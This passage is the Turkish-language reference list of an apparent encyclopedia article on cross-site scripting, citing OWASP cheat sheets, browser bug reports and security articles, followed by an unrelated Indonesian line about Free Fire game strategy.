  17. ^ "Bug 272620 – XSS vulnerability in internal error messages". Bugzilla@Mozilla. 2004. 20 Ağustos 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 29 Mayıs 2008. 
  18. ^ "DOM based XSS". OWASP. 28 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017. 
  19. ^ "JQuery bug #9521". 2011. 30 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017. 
  20. ^ "DOM based XSS prevention cheat sheet". OWASP. 28 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017. 
  21. ^ "Strict Contextual Escaping". Angular.js. 10 Şubat 2014 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017. 
  22. ^ "Self-XSS Facebook scam attempts to trick users into hacking themselves". www.majorgeeks.com. 29 Temmuz 2014. 21 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 20 Eylül 2016. 
  23. ^ a b "Arşivlenmiş kopya". 14 Şubat 2018 tarihinde kaynağından arşivlendi. Erişim tarihi: 1 Şubat 2019. 
  24. ^ Brodkin, Jon (4 Ekim 2007). "The top 10 reasons Web sites get hacked". Network World. IDG. 14 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 6 Şubat 2017. 
  25. ^ Williams, Jeff (19 Ocak 2009). "XSS (Cross Site Scripting) Prevention Cheat Sheet". OWASP. 18 Mart 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Şubat 2009. 
  26. ^ Sharma, Anand (3 Şubat 2004). "Prevent a cross-site scripting attack". IBM. 24 Eylül 2015 tarihinde kaynağından arşivlendi. Erişim tarihi: 29 Mayıs 2008. 
  27. ^ "ModSecurity: Features: PDF Universal XSS Protection". Breach Security. 15 Haziran 2013 tarihinde kaynağından arşivlendi. Erişim tarihi: 6 Haziran 2008. 
  28. ^ "Ajax and Mashup Security". OpenAjax Alliance. 27 Eylül 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 9 Haziran 2008. 
  29. ^ O'Reilly, Tim (30 Eylül 2005). "What Is Web 2.0". O'Reilly Media. ss. 4-5. 16 Ekim 2014 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008. 
  30. ^ "A page should work, even if in a degraded form, without JavaScript." in Zammetti, Frank (16 Nisan 2007). Practical JavaScript, DOM Scripting and Ajax Projects via Amazon Reader. Apress. s. 36. ISBN 1-59059-816-4. 23 Mart 2019 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008. 
  31. ^ "How to use security zones in Internet Explorer". Microsoft. 18 Aralık 2007. 6 Mart 2015 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008. 
  32. ^ Lie, Håkon Wium (7 Şubat 2006). "Opera 9 Technology Preview 2". Opera Software. 26 Ekim 2011 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008. 
  33. ^ "NoScript". Mozilla. 30 Mayıs 2008. 21 Nisan 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008. 
  34. ^ ""Using client-side events" in DataWindow Programmer's Guide". Sybase. Mart 2003. 13 Kasım 2009 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008. 
  35. ^ 73% of sites relied on JavaScript in late 2006, in "'Most websites' failing disabled". BBC News. 6 Aralık 2006. 20 Nisan 2008 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Haziran 2008. 
  36. ^ "NoScript Features". 22 Mart 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Mart 2009. 
  37. ^ "Content Security Policy 1.0". W3C Candidate Recommendation. 15 Kasım 2012. 26 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 22 Şubat 2013. 
  38. ^ "Sceptic blog". 12 Ağustos 2011 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017. 
  39. ^ Di Paola, Stefano (3 Ocak 2007). "Adobe Acrobat Reader Plugin - Multiple Vulnerabilities". Wisec.it. 10 Kasım 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 13 Mart 2012. 
  40. ^ "Security hole in Internet Explorer allows attackers to execute arbitrary programs". Heise Media UK. 16 Mayıs 2008. 20 Kasım 2011 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008. 
  41. ^ "Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player". Adobe Systems. 14 Kasım 2006. 29 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008. 
  42. ^ Auger, Robert (17 Nisan 2008). "The Cross-Site Request Forgery (CSRF/XSRF) FAQ (version 1.59)". Cgisecurity.com. 9 Ekim 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008. 
  43. ^ ""Article about CSRF and same-origin XSS"". 14 Ağustos 2012 tarihinde kaynağından arşivlendi. Erişim tarihi: 18 Nisan 2017. 
  44. ^ "OAuth 2.0 and OpenID Redirect Vulnerability". Hacker News. 2 Mayıs 2014. 29 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 21 Aralık 2014. 
  45. ^ Scharr, Jill (2 Mayıs 2014). "Facebook, Google Users Threatened by New Security Flaw". Tom's Guide. 25 Temmuz 2019 tarihinde kaynağından arşivlendi. Erişim tarihi: 21 Aralık 2014. 
  46. ^ "SQL Injection". Web Application Security Consortium. 2005. 25 Eylül 2010 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008. 
  47. ^ "The Cross-Site Scripting FAQ". Cgisecurity.com. 2002. 21 Eylül 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008. 

Daha fazla bilgi

Dış bağlantılar

Strategi Solo vs Squad di Free Fire: Cara Menang Mudah!